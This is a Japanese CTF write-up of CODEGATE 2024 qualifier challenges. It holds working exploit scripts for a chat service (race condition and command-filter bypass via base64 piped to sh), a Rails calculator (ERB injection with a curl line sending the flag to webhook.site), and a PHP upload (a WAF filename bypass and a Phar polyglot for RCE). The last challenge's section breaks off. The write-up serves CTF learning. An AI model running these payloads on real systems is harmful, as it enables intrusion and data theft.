6/1 - 6/2という日程で開催された。BunkyoWesternsで参加して6位。今回は誰でもチームで参加可能なGeneral部門と、18歳以下の個人が参加可能なJunior部門*1*2に分かれていた。我々はもちろんGeneral部門で、こちらは上から19チームが決勝大会に進めるということだった。したがって、きっと予選を通過できている。一昨年はzer0ptsは決勝へ参加できたものの、昨年は数十点の差で決勝進出を逃してしまったので、今回は参加できそう*3で嬉しい。
(2024-06-04追記)CODEGATE CTFの公式ページに最終的なランキングが掲示されており、BunkyoWesternsも無事ファイナリストとなるチームのリストに含まれていた。どのような事情か、我々より上位だった1チームがランキングから姿を消しており、繰り上がって予選5位となっている。
- [Web 250] Chatting Service (82 solves)
- [Web 250] master_of_calculator (71 solves)
- [Web 250] Cha’s Wall (38 solves)
- [Rev/Pwn 250] game$ay (31 solves)
[Web 250] Chatting Service (82 solves)
Chat service soft-launch. I feel there might be some issues with the logic.
Could you take a look?(URL)
添付ファイル: for_user.zip
問題の概要
チャットサービスらしい。ディレクトリ構成や docker-compose.yml
を見るとFlask, Go, Memcache, MySQLと色々な技術が使われていることがわかる。docker-compose.yml
ではFlaskは internal
、Goは external
ということで、それぞれネットワークの内部と外部からのアクセスを想定している…ようだが、本物の問題サーバを含め internal
と言いつつも 5000/tcp
で外部から接続できた。もっとも、"Debug Mode" と表示されるだけで何もできないように思えるが。
フラグはどうすれば手に入れられるか。flag
で検索してみると、internal
のソースコード中に見つかった。memcachedにフラグを載せているようだ。なお、このほかにmemcachedから flag
を取得している処理はない。RCEなりSSRFなりに持ち込めという話らしい。
client = Client(memcache_ip) print(f'memcache client = {client}') # … try: client.set("flag","codegate2024{##CENSORED##}") except Exception as e: print(f'memcache ==> {e}')
external
を見ていく。ソースコードが非常に読みづらいので、重要な部分のみを抜き出して紹介する。何やら /api/hidden
という不思議なAPIがあり(と言いつつも実質的にここでは何も起こらないものだが…)、これを利用するには hidden_flag
というフラグが立っている必要があるらしい。
r.HandleFunc("/api/hidden", func(w http.ResponseWriter, r *http.Request) { HiddenHandler(w, r, db) }).Schemes("http")
func HiddenHandler(w http.ResponseWriter, r *http.Request, db *sql.DB) { var flag string fmt.Println("[HiddenHandler] Entrance") username, _ := r.Cookie("UserName") Userdata := structure.User{ Id: username.Value, } fmt.Printf("Userdata %v\n", Userdata) flag = reg.Checker(db, Userdata, 7) if flag == "0" { http.Error(w, "ACCESS DENIED", http.StatusInternalServerError) } if flag == "1" { if r.Method == "GET" { page := HiddenPage{ Message: "Welcome", } hiddenFullPath := Strcat(hiddenTemplate) hiddenPageTemplate, err := template.ParseFiles(hiddenFullPath) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } err = hiddenPageTemplate.Execute(w, page) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } } else if r.Method == "POST" { err := r.ParseForm() if err != nil { http.Error(w, "Bad Request", http.StatusBadRequest) return } username := r.FormValue("username") session := r.FormValue("session") command := r.FormValue("command") fmt.Printf("[Hidden] username : %v\n", username) fmt.Printf("[Hidden] session : %v\n", session) fmt.Printf("[Hidden] command : %v\n", command) return } } }
func Checker(db *sql.DB, data structure.User, choice int) string { switch choice { // … case 7: var hidden_flag string err := db.QueryRow("SELECT hidden_open FROM register WHERE username=$1", data.Id).Scan(&hidden_flag) if err != nil { fmt.Printf("Checker Case 7 err ==> %v\n", err) } fmt.Printf("hidden_flag : %v\n", hidden_flag) return hidden_flag } return "NULL" }
hidden_flag
が更新される箇所を探すと、/api/validate
というAPIが見つかる。チャットルームの作成時に、作成可能かどうか状況をチェックするものだ。11個以上のチャットルームを作成するとこのフラグを立ててくれるらしいが、チャットルームが10個ある時点でさらに作成しようとするとそこで弾かれるようになっている。
r.HandleFunc("/api/validate", func(w http.ResponseWriter, r *http.Request) { ValidateHandler(w, r, db) }).Schemes("http")
func ValidateHandler(w http.ResponseWriter, r *http.Request, db *sql.DB) { var count int fmt.Println("[ValidateHandler] Entrance") if r.Method != http.MethodPost { http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed) return } body, err := ioutil.ReadAll(r.Body) if err != nil { http.Error(w, "Failed to read request body", http.StatusInternalServerError) fmt.Printf("Error reading request body: %v\n", err) return } data := structure.AddRoomInfo{ Username: "NULL", ChatRoomIndex: 0, } err = json.Unmarshal(body, &data) if err != nil { http.Error(w, "Failed to unmarshal request body", http.StatusInternalServerError) fmt.Printf("Error unmarshaling request body: %v\n", err) return } data2 := structure.User{ Id: data.Username, } count = reg.IsValidRoomManage(db, data) var response structure.CheckRoomCount response.ChatRoomCount = count if count >= 0 && count <= 9 { reg.Hidden(db, data2, 0) response.ReturnVal = 1 w.WriteHeader(http.StatusOK) } if count == 10 { reg.Hidden(db, data2, 0) response.ReturnVal = -1 w.WriteHeader(http.StatusOK) } if count > 10 { reg.Hidden(db, data2, 1) response.ReturnVal = 2 w.WriteHeader(http.StatusOK) } jsonResponse, err := json.Marshal(response) if err != nil { http.Error(w, "Failed to marshal response", http.StatusInternalServerError) fmt.Printf("Error marshaling response: %v\n", err) return } w.Header().Set("Content-Type", "application/json") w.Write(jsonResponse) }
チャットルームの個数制限をバイパスする
では、どうやって /api/validate
の個数制限をバイパスするか。チャットルームの個数チェックから実際の追加までにラグがあることを利用して、Race Condition(TOCTOU)を狙おう。シェルで次のような関数を用意する。この後に f & f & f & f & f &
のようなコマンドを何度か実行する。この後に /api/validate
を叩くと、hidden_flag
が立った*4。
f() { curl 'http://localhost:7777/api/addRoom' \ -H 'Connection: keep-alive' \ -H 'Content-Type: application/json' \ -H 'Cookie: UserName=hogehogehoge; Session=3010f02b-8526-4f37-bdf4-a4553125aaf1' \ --data-raw '{"username":"hogehogehoge","chatRoomIndex":0,"isReloadFlag":0}'; }
フィルターをバイパスしつつOSコマンドを叩く
これで /api/hidden
にアクセスできるようになった、GETでは次のようなフォームが表示される。
このフォームを送信した際のクライアント側の処理は次の通り。5000/tcp
、つまり internal
のAPIを叩いている。Google ChromeのDevToolsでNetworkタブを監視しつつもう一度やってみると、確かにAPIの呼び出しに成功しているように見える。これで internal
の機能を利用できるらしい。
$('#debugForm').submit(function(event) { event.preventDefault(); const username = $('#username').val(); const session = $('#session').val(); const command = $('#command').val(); $.ajax({ url: 'http://127.0.0.1:5000/login', method: 'POST', data: { username: username, session: session, command: command }, success: function(response) { $('.result').css('color', '#ffffff'); $('.result').text(response); }, error: function(xhr, status, error) { console.error('Request failed. Status:', xhr.status); } }); });
internal
側のソースコードを呼んでいく。先ほど呼ばれていた /login
のコードは次の通り。ユーザから投げられたユーザ名、セッションID、コマンドをそのまま isValidateSession
に投げているらしい。
@app.route("/login", methods=["GET", "POST"]) def debugLoginPage(): response = make_response() response.headers.add("Access-Control-Allow-Origin", "*") response.headers.add('Access-Control-Allow-Headers', "*") response.headers.add('Access-Control-Allow-Methods', "*") if request.method == "GET": return "CANNOT LOGIN YOURSELF" if request.method == "POST": try: web_username = request.form.get('username') web_session = request.form.get('session') command = request.form.get('command') response_result = isValidateSession(web_username,web_session, command) except Exception as e: print(e) return render_template('main.html', response_result=response_result)
isValidateSession
は次の通り。ちゃんと対応するユーザ名とセッションが存在しているかチェックしているらしい。そして、さらに与えられたコマンドを internalDaemonService
に投げている。
def isValidateSession(username, session, command): cur = conn.cursor() query = f"SELECT session, session_enable FROM register where username='{username}' and session='{session}'" print(f'query : {query}') if username == None or session == None: return "NONE" if "'" in username or "'" in session: return "DO NOT TRY SQL INJECTION" try: cur.execute(query) result = cur.fetchone() if result: internal_session, session_enable = result if internal_session == session: return internalDaemonService(command) else: return "Please recheck username or Session" except Exception as e: print(f'exception: {e}') return "NONE"
internalDaemonService
は次の通り。コマンドの admin://
以降の文字列をOSコマンドとして裏で実行し、その結果を返してくれるらしい。しかし、bash
やら open
やら便利なコマンド等を防ごうとしている。
def internalDaemonService(command): if command.startswith("admin://"): msg = AdminMessage(message=f'{command}') try: mysql_session.add(msg) mysql_session.commit() except Exception as e: print(e) finally: mysql_session.close() commandline = "cd /tmp &&" tmp = command.split("admin://")[1] commandline += tmp client.set(f'msg', f'{tmp}') filtered = ["memccat", "memcstat", "memcdump", "nc", "bash", "/bin", "/sh", "export", "env", "socket", "connect", "open", "set", "membash", "delete", "flush_all", "stats", "which" , "python", "perl", "rm", "mkdir", ".", "/"] for _filter in filtered: if _filter in tmp.lower(): print(f'filter data : {_filter}') return "FILTER MESSAGE DETECTED" try: response = send_command(commandline) return response except Exception as e: return str(e) else: msg = Message(message=f'{command}') try: mysql_session.add(msg) mysql_session.commit() except Exception as e: print(e) finally: mysql_session.close() return f"The Message is already saved on DB : {command}"
フィルターのバイパスは容易だ。echo '(Base64エンコードしたOSコマンド)' | base64 -d | s${HOGE}h
のように、実行したいコマンドを一旦エンコードし、またデコードして流し込んでやればよい。今回はmemcachedにフラグが乗っているので、11211/tcp
に接続してmemcachedのプロトコルを喋ってくれるPythonスクリプトを仕込めばよい。
ここまでの過程をまとめたPythonスクリプトは次の通り。
import asyncio import base64 import uuid import httpx #HOST = 'localhost' HOST = '(省略)' EXTERNAL = f'http://{HOST}:7777' INTERNAL = f'http://{HOST}:5000' u = str(uuid.uuid4()) p = str(uuid.uuid4()) print(f'{u=}, {p=}') async def add_room(aclient): r = await aclient.post(f'{EXTERNAL}/api/addRoom', json={ 'username': u, 'chatRoomIndex': 0, 'isReloadFlag': 0 }) return r.text async def go(): with httpx.Client(base_url=EXTERNAL) as client: # 1. sign up client.post('/signup', data={ 'username': u, 'password': p }) client.post('/', data={ 'username': u, 'password': p }) print(f'{client.cookies}') # 2. make a lot of rooms to access hidden api aclient = httpx.AsyncClient() aclient.cookies = client.cookies tasks = [] for _ in range(20): tasks.append(asyncio.ensure_future(add_room(aclient))) await asyncio.gather(*tasks) # 3. call /api/validate to confirm we could call hidden API client.post('/api/validate', json={ 'username': u }) session = client.cookies['Session'] print(f'{session=}') # 4. call internal API cmd = '''python3 -c 'import socket; s = socket.create_connection(("localhost", 11211)); s.send(b"get flag\\n"); print(s.recv(1024))' > /tmp/poyoyoyo;''' cmd += 'cat /tmp/poyoyoyo' cmd = base64.b64encode(cmd.encode()).decode() cmd = 'echo ' + cmd + ' | base64 -d | s${HOGE}h' print(cmd) with httpx.Client(base_url=INTERNAL) as client: r = client.post('/login', data={ 'username': u, 'session': session, 'command': f'admin://{cmd}' }) print(r.text) async def main(): await go() asyncio.run(main())
実行するとフラグが得られた。
codegate2024{Important_DATA_DO_NOT_SAVE_IN_MEMCACHE}
[Web 250] master_of_calculator (71 solves)
traditional calculator challenge
(URL)
添付ファイル: for_user.zip
Ruby on Railsで作られたWebアプリのソースコードが与えられている。いい感じにお金の計算をしてくれるアプリのようだ。
Dockerfile
を確認すると、ランダムなファイル名で保存されているフラグを読み取ればよいらしいとわかる。RCEに持ち込む必要があるだろう。
RUN mv flag.txt "flag-$(head -c 16 /dev/urandom | od -An -tx1 | tr -d ' \n')";
さて、重要な箇所は server/app/controllers/home_controller.rb
で実装されている。このコードは次の通りだが、RubyのテンプレートであるERBにユーザ入力を埋め込んで計算するというかなりワイルドな方法を採っている。system
, eval
, '
, [
といったヤバそうな文字列や記号は弾いているらしい。そもそも数値であるか検証するか、強引に変換すればよいのではないか。
class HomeController < ApplicationController skip_forgery_protection :only => [:calculate_fee] FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"] def index render :home end def calculate_fee entry_price = params[:user_entry_price] exit_price = params[:user_exit_price] leverage = params[:user_leverage].to_f quantity = params[:user_quantity] if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } } response = "filtered" else response = ERB.new(<<~FORMULA <% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %> <% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %> <% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %> <%= pnl %> <%= roi %>% <%= initial_margin %> FORMULA ).result(binding) response = response.sub("\n\n\n","") pnl, roi, margin = response.split("\n") end render json: { response: response, pnl: pnl, roi: roi, margin: margin } end end
これはRubyだ*5。いくらでもバイパスできそうに思える。まずクォートなしで文字列を作る方法を考える。0x31.chr+0x32.chr
のように Integer#chr
を使って組み立てていくこともできるし、それでは長くなりすぎるので :ev.to_s+:al.to_s
のようにシンボルから組み立てることもできる。
OSコマンドを実行するのが色々楽だろうが、Kernel.#system
にはどうやってアクセスすればよいだろうか。Object#method
を使って Kernel.method(:eval)
相当のことをすればよい。なお、Rubyではカッコがなくとも Kernel.method :eval
のようにしてメソッドを呼び出せる。さらにこれを Method#call
で呼び出せばよい。
できあがったコードは次の通り。
import re import httpx code = 'system "curl https://webhook.site/… -d hoge=`cat /rails/f*`"' code = '.chr+'.join(hex(ord(c)) for c in code) + '.chr' code = f'a=:ev.to_s+:al.to_s;b=Kernel.method a;c={code};b.call c;4' print(code) with httpx.Client(base_url='http://(省略)/') as client: r = client.get('/') token = re.findall(r'name="authenticity_token" value="([^"]+)', r.text)[0] r = client.post('/calculate_fee', data={ 'user_leverage': 1, 'user_entry_price': 30000, 'user_exit_price': code, 'user_quantity': 1 }) print(r.text)
実行するとフラグが得られた。
codegate2024{sup3r_dup3r_ruby_trick_m4st3r}
[Web 250] Cha’s Wall (38 solves)
WAFFFFF
(URL)
添付ファイル: for_user.zip
問題の概要
与えられたURLにアクセスすると、次のようなファイルのアップロードフォームが表示された。
フォームのアップロード先が index.php
であるのだけれども、docker-compose.yml
等を見ると、前段にGolangで書かれたWAFが挟まっていることがわかる。WAFを挟んでこのWebアプリにアクセスしているらしい。
WAFの主要な処理は次の通り。multipart/form-data
に特化しており、ファイルの名前や内容をチェックしているようだ。まずファイル名に関しては php
や phar
のような拡張子でないか、ファイルの内容に関しては <?php
が含まれていないかを確認している。問題なければ、ユーザから与えられたリクエストボディをそのままバックエンドに流す。さて、後者のチェックは <?=
を使ってバイパスできるはずだけれども、前者はどうすればよいだろうか。
if r.Method == "POST" { mr, err := r.MultipartReader() if err != nil { r.Body.Close() fmt.Println("Http request is corrupted.") return } else { var b bytes.Buffer w := multipart.NewWriter(&b) reuseBody := true for { part, err := mr.NextPart() if err == io.EOF { break } if err != nil { r.Body.Close() wr.Write([]byte("something wrong :(")) return } if part.FileName() != "" { re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`) cleanFilename := re.ReplaceAllString(part.FileName(), "") match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename) if match { r.Body.Close() wr.Write([]byte("WAF XD")) return } partBuffer, _ := ioutil.ReadAll(part); if strings.Contains(string(partBuffer), "<?php") { r.Body.Close() wr.Write([]byte("WAF XD")) return } } else { fieldName := part.FormName() fieldValue, _ := ioutil.ReadAll(part) _ = w.WriteField(fieldName, string(fieldValue)) reuseBody = false } } if !reuseBody { w.Close() rdr2 = ioutil.NopCloser(&b) r.Header.Set("Content-Type", w.FormDataContentType()) } } }
ファイル名のチェックをバイパスする
Golangの実装とPHPの実装に差異があれば、ファイル名のチェックをバイパスできるのではないかと考えた。つまり、Golang側では無害なファイル名が採用されるけれども、PHP側では有害な a.php
のようなファイル名が採用されるような Content-Disposition
ヘッダを作れないだろうか。
そういえば、以前同じ韓国のCTFでmultipartについて詳しく調べたことがあった。filename
のほかにも filename*
を使ってファイルが指定できる。これを両方とも指定した場合にはどうなるだろうか。GolangとPHPのそれぞれで採用されたファイル名を出力されるよう改造し、その状態でBurp Suiteを使い filename
と filename*
の両方を持ったリクエストを送ってみる。
結果は大当たり。Golang側では filename*
で指定したファイル名が採用され、PHP側では filename
で指定したファイル名が採用された。
読み込むとFatal errorを起こすPharを作る
今さらながら、ファイルのアップロード先である index.php
を確認する。アップロード先のディレクトリはドキュメントルート下にあるし、ファイル名もオリジナルのものが採用される。ファイルはアップロード後すぐに unlink
で消されてしまうけれども、その前に /uploads/(サンドボックスのディレクトリ)/a.php
のようなパスにアクセスすればよいのではないかと考える。
phpinfo
を活用してLFIからRCEに持ち込む手法のように、ファイルのアップロードと、PHPコードのアップロード先であるパスへのアクセスとを並行して実行し続けてRace Conditionを狙う…が、ローカルですら一切成功しない。もしかして、GolangのWAFは一度にひとつのリクエストしか処理できないのだろうか。
<?php require_once("./config.php"); session_start(); if (!isset($_SESSION['dir'])) { $_SESSION['dir'] = random_bytes(4); } $SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']); if (!file_exists($SANDBOX)) { mkdir($SANDBOX); } echo "Here is your current directory : " . $SANDBOX . "<br>"; if (is_uploaded_file($_FILES['file']['tmp_name'])) { $filename = basename($_FILES['file']['name']); if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) { echo "<script>alert('File upload success!');</script>"; } } if (isset($_GET['path'])) { if (file_exists($_GET['path'])) { echo "file exists<br><code>"; if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) { include($_GET['path']); } echo "</code>"; } else { echo "file doesn't exist"; } } if (isset($filename)) { unlink("$SANDBOX/" . $filename); } ?> <form enctype='multipart/form-data' action='index.php' method='post'> <input type='file' name='file'> <input type="submit" value="upload"></p> </form>
ではどうするか。ファイルのアップロード後、unlink
までにfatal errorを起こさせるか、激重な処理をさせてタイムアウトさせることで、unlink
に到達できないようにすればよいのではないか。この範囲でユーザ入力が関わってきそうなところといえば file_exists($_GET['path'])
だ。今回使われているPHPのバージョンは Dockerfile
から7.4.30とわかっているので、細工したPharアーカイブを作り、phar://hoge.phar/fuga.txt
のようなパスを与えることで、Insecure Deserializationに持ち込めるはずだ。デシリアライズで作られるとfatal errorが発生するようなオブジェクトはないだろうか。
次のようなPythonスクリプトを用意して、ローカルで動かしている問題のコンテナで実行する。これで、DateTime
というクラスがデシリアライズされるとfatal errorが発生するとわかった*6。
import hashlib import os import os.path import subprocess TEMPLATE = '''<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.svg', '<?= passthru("/readflag"); ?>'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class TestObject {} $object = new TestObject; $phar->setMetadata($object); $phar->stopBuffering();''' def gen_phar(klass): if os.path.exists('test.phar'): os.remove('test.phar') php = TEMPLATE.replace('TestObject', 'A' * len(klass)) with open('a.php', 'w') as f: f.write(php) subprocess.check_output('php -d phar.readonly=0 a.php', shell=True, stderr=subprocess.STDOUT) with open('test.phar', 'rb') as f: s = f.read() s = s.replace(b'A' * len(klass), klass.encode()) data = s[:-28] final = s[-8:] s = data + hashlib.sha1(data).digest() + final with open('test.phar', 'wb') as f: f.write(s) classes = ["stdClass","Exception","ErrorException","Error","CompileError","ParseError","TypeError","ArgumentCountError","ArithmeticError","DivisionByZeroError","Closure","Generator","ClosedGeneratorException","WeakReference","DateTime","DateTimeImmutable","DateTimeZone","DateInterval","DatePeriod","LibXMLError","SQLite3","SQLite3Stmt","SQLite3Result","CURLFile","DOMException","DOMStringList","DOMNameList","DOMImplementationList","DOMImplementationSource","DOMImplementation","DOMNode","DOMNameSpaceNode","DOMDocumentFragment","DOMDocument","DOMNodeList","DOMNamedNodeMap","DOMCharacterData","DOMAttr","DOMElement","DOMText","DOMComment","DOMTypeinfo","DOMUserDataHandler","DOMDomError","DOMErrorHandler","DOMLocator","DOMConfiguration","DOMCdataSection","DOMDocumentType","DOMNotation","DOMEntity","DOMEntityReference","DOMProcessingInstruction","DOMStringExtend","DOMXPath","finfo","HashContext","JsonException","LogicException","BadFunctionCallException","BadMethodCallException","DomainException","InvalidArgumentException","LengthException","OutOfRangeException","RuntimeException","OutOfBoundsException","OverflowException","RangeException","UnderflowException","UnexpectedValueException","RecursiveIteratorIterator","IteratorIterator","FilterIterator","RecursiveFilterIterator","CallbackFilterIterator","RecursiveCallbackFilterIterator","ParentIterator","LimitIterator","CachingIterator","RecursiveCachingIterator","NoRewindIterator","AppendIterator","InfiniteIterator","RegexIterator","RecursiveRegexIterator","EmptyIterator","RecursiveTreeIterator","ArrayObject","ArrayIterator","RecursiveArrayIterator","SplFileInfo","DirectoryIterator","FilesystemIterator","RecursiveDirectoryIterator","GlobIterator","SplFileObject","SplTempFileObject","SplDoublyLinkedList","SplQueue","SplStack","SplHeap","SplMinHeap","SplMaxHeap","SplPriorityQueue","SplFixedArray","SplObjectStorage","MultipleIterator","PDOException","PDO","PDOStatement","PDORow","SessionHandler","ReflectionException","Reflection","ReflectionFunctionAbstract","ReflectionFunction","ReflectionGenerator","ReflectionParameter","ReflectionType","ReflectionNamedType","ReflectionMethod","ReflectionClass","ReflectionObject","ReflectionProperty","ReflectionClassConstant","ReflectionExtension","ReflectionZendExtension","ReflectionReference","__PHP_Incomplete_Class","php_user_filter","Directory","AssertionError","SimpleXMLElement","SimpleXMLIterator","PharException","Phar","PharData","PharFileInfo","XMLReader","XMLWriter","SodiumException"] for klass in classes: gen_phar(klass) try: res = subprocess.check_output('php b.php', shell=True, stderr=subprocess.STDOUT) # <?php file_exists('phar://test.phar/test.svg'); except Exception as e: print(klass, e) break
PharとPHPのpolyglotを作る。<?php
が含まれないよう、PHPコード部分は <?=
を使っているし、Pharに必要であるスタブ部分は、Pharとして認識されるギリギリを狙う。
import hashlib import os import os.path import subprocess TEMPLATE = '''<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.svg', '<?= passthru("/readflag"); ?>'); $phar->setStub('__HALT_COMPILER(); ?>'); class TestObject {} $object = new TestObject; $phar->setMetadata($object); $phar->stopBuffering();''' def gen_phar(klass): if os.path.exists('test.phar'): os.remove('test.phar') php = TEMPLATE.replace('TestObject', 'A' * len(klass)) with open('a.php', 'w') as f: f.write(php) subprocess.check_output('php -d phar.readonly=0 a.php', shell=True, stderr=subprocess.STDOUT) with open('test.phar', 'rb') as f: s = f.read() s = s.replace(b'A' * len(klass), klass.encode()) data = s[:-28] final = s[-8:] s = data + hashlib.sha1(data).digest() + final with open('test.phar', 'wb') as f: f.write(s) gen_phar('DateTime')
できあがったPharを test.php
にリネームする。Pharとして開くと DateTime
のデシリアライズによってfatal errorが発生するし、PHPコードとして実行されるとフラグが出力されるようなファイルができた。
root@bf8987367479:/tmp# cat b.php <?php file_exists('phar://test.php/test.svg'); root@bf8987367479:/tmp# php b.php PHP Fatal error: Uncaught Error: Invalid serialization data for DateTime object in /tmp/b.php:1 Stack trace: #0 [internal function]: DateTime->__wakeup() #1 /tmp/b.php(1): file_exists() #2 {main} thrown in /tmp/b.php on line 1
root@bf8987367479:/tmp# php test.php | xxd 00000000: 5f5f 4841 4c54 5f43 4f4d 5049 4c45 5228 __HALT_COMPILER( 00000010: 293b 203f 3e0d 0a49 0000 0001 0000 0011 ); ?>..I........ 00000020: 0000 0001 0000 0000 0013 0000 004f 3a38 .............O:8 00000030: 3a22 4461 7465 5469 6d65 223a 303a 7b7d :"DateTime":0:{} 00000040: 0800 0000 7465 7374 2e73 7667 1d00 0000 ....test.svg.... 00000050: 00fd 5a66 1d00 0000 8122 84dc a401 0000 ..Zf....."...... 00000060: 0000 0000 636f 6465 6761 7465 3230 3234 ....codegate2024 00000070: 7b74 6573 7466 6c61 677d af6a 9cd3 fa90 {testflag}.j.... 00000080: f75a bc8f c911 1985 f21e ea5f 6010 0200 .Z........._`... 00000090: 0000 4742 4d42 ..GBMB
すべてを組み合わせる。次のようなexploitができた。
import asyncio import httpx import time import re import socket import uuid #HOST = 'localhost' HOST = '(省略)' TEMPLATE = b'''POST /index.php?path=phar://PATH/test.svg&passcode=hoge HTTP/1.1 Host: localhost:8000 Content-Length: LENGTH Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLiyumFqYdcSN9qU Cookie: PHPSESSID=KOKONI_SESSID Connection: close BODY'''.replace(b'\n', b'\r\n') BODY_TEMPLATE = b'''------WebKitFormBoundarykLiyumFqYdcSN9qU Content-Disposition: form-data; name="file"; filename*=utf-8''hoge; filename="KOKONI_FILENAME" PAYLOAD ------WebKitFormBoundarykLiyumFqYdcSN9qU--''' def make_payload(sessid, payload, path, filename): body = BODY_TEMPLATE.replace(b'KOKONI_FILENAME', filename.encode()) body = (body + b'\n').replace(b'\n', b'\r\n') body = body.replace(b'PAYLOAD', payload) l = len(body) payload = TEMPLATE.replace(b'KOKONI_SESSID', sessid.encode()).replace(b'PATH', path.encode()).replace(b'LENGTH', str(l).encode()).replace(b'BODY', body) print(payload) return payload async def upload(sessid, payload, path, filename='a.php'): s = socket.create_connection((HOST, 8000)) s.send(make_payload(sessid, payload, path, filename)) r = s.recv(0x10000) print(r) s.close() async def rce(path): s = socket.create_connection((HOST, 8000)) req = f'GET {path} HTTP/1.1\r\nHost: localhost:8000\r\n\r\n' s.send(req.encode()) r = s.recv(0x10000) s.close() if b'404' not in r: print(456, r) return True async def main(): r = httpx.get(f'http://{HOST}:8000') sessid = r.cookies['PHPSESSID'] d = re.findall(r'Here is your current directory : /var/www/html([^<]+)', r.text)[0] with open('test.phar', 'rb') as f: payload = f.read() await upload(sessid, payload, f'/var/www/html{d}/a.php', f'a.php') await rce(f'{d}/a.php') asyncio.run(main())
実行するとフラグが得られた。
$ python3 s.py … 456 b'HTTP/1.1 200 OK\r\nContent-Length: 206\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Sat, 01 Jun 2024 11:00:13 GMT\r\nServer: Apache/2.4.54 (Debian)\r\n\r\n__HALT_COMPILER(); ?>\r\nI\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x13\x00\x00\x00O:8:"DateTime":0:{}\x08\x00\x00\x00test.svg\x1d\x00\x00\x00\x00\xfdZf\x1d\x00\x00\x00\x81"\x84\xdc\xa4\x01\x00\x00\x00\x00\x00\x00codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}\xafj\x9c\xd3\xfa\x90\xf7Z\xbc\x8f\xc9\x11\x19\x85\xf2\x1e\xea_`\x10\x02\x00\x00\x00GBMB'
codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}
[Rev/Pwn 250] game$ay (31 solves)
Unleash your imagination within your little game console.
(問題サーバへの接続情報)
添付ファイル: for_user.zip
問題の概要
独自言語のレキサ、パーサ、インタプリタが与えられている。しかしながら、残念ながらその独自言語で書かれたサンプルプログラムはないし、デフォルトで実行されるプログラムはあるのだけれども、以下のようにASTで格納されている。このASTから元のソースコードを復元してリバースエンジニアリングするというのがRev要素だろうけれども、Pwn要素はなんだろうか。
flag
で検索してみると、まず docker-compose.yml
から /src/flag
に存在しているとわかる。
volumes: - ./flag:/src/flag
わざわざこれを手に入れるためにRCEへ持ち込む必要はないようで、ASTから実行していくインタプリタ中の処理に次のようなコードがあった。これは関数呼び出し中の処理で、flag
というビルトイン関数を呼び出すとフラグが得られるらしい。ただし、machine_id != 0
であれば弾くという処理もあるが、これはどういうことだろうか。
elif node.name.value == "flag": import pathlib if machine_id != 0: return WValue('bytes', b"Permission denied!") return WValue('bytes',pathlib.Path("./flag").read_bytes())
問題サーバに接続すると main.py
がエントリーポイントとなる。ここでは次の通り all
, add
, exit
, run
, del
という5つのコマンドが実行できる。
$ python3 main.py (`-') _ <-. (`-') (`-') _ ,-. (`-') _ .-> (OO ).-/ \(OO )_ ( OO).-/.-|-|-. (OO ).-/ .-> ,---(`-') / ,---. ,--./ ,-.)(,------.| | |_| / ,---. ,--.' ,-. ' .-(OO ) | \ /`.\ | `.' | | .---'`-|.| '. | \ /`.\ (`-')'.' / | | .-, \ '-'|_.' || |'.'| |(| '--. .-| | | '-'|_.' |(OO \ / | | '.(_/(| .-. || | | | | .--' | |-| /(| .-. | | / /) | '-' | | | | || | | | | `---. `|-|'' | | | | `-/ /` `-----' `--' `--'`--' `--' `------' `-' `--' `--' `--' Command [all|add|exit|run|del]:
add
はこの独自言語で書いた自分のコードをパースしてもらい、実行可能な状態にするコマンドだ。実行可能なプログラムは内部的に配列として蓄えられていく。最初からこの配列に載っているのが、先ほどのASTしかないプログラムだ。add
された順番で 1
, 2
, …と machine_id
が割り振られていき、変数や関数等の情報はそれぞれの machine
で独立している。machine_id
が 0
であるのが例のASTしかないプログラムで、つまりこいつしか flag
という関数を呼び出せないということになる。
elif command == 'add': if len(codes) == MAX_MACHINE_COUNT: print("Cannot add more machines") continue print("\n[!] Create your own game or plugin and unleash your creativity.") code = input("Enter code (base64):") code = base64.b64decode(code).decode() nodes = code_builder(code) codes.append(nodes)
all
と run
はいずれもプログラムを実行するコマンドだが、後者は machine_id
を指定してひとつだけプログラムを実行するのに対して、前者は実行可能なプログラムをいっぺんに実行する。不思議な機能だ。
if command == "all": thread_1 = threading.Thread(target = machine_run, args = (m, codes[0], 0)) thread_1.start() for i in range(1, len(codes)): thread_2 = threading.Thread(target = machine_run, args = (m, codes[i], i)) thread_2.start() thread_1.join() if command == "run": index = int(input(f"Enter index [0:{len(codes)-1}]:")) if index >= len(codes) or index < 0: print("Invalid index") continue thread = threading.Thread(target = machine_run, args = (m, codes[index], index)) thread.start() thread.join()
del
は指定した machine_id
のプログラムを削除するコマンドだ。machine_id
が 0
であるプログラムは削除できないようになっているし、もちろん負数のインデックスを指定して強引に machine_id
が 0
であるプログラムを削除できないようになっている。バイパスはできないように思える。
elif command == 'del': index = int(input(f"Enter index [1:{len(codes)-1}]:")) if index >= len(codes) or index < 0: print("Invalid index") continue if index == 0: print("Cannot delete main code") else: codes.pop(index)
ASTからコードを復元する
machine_id
が 0
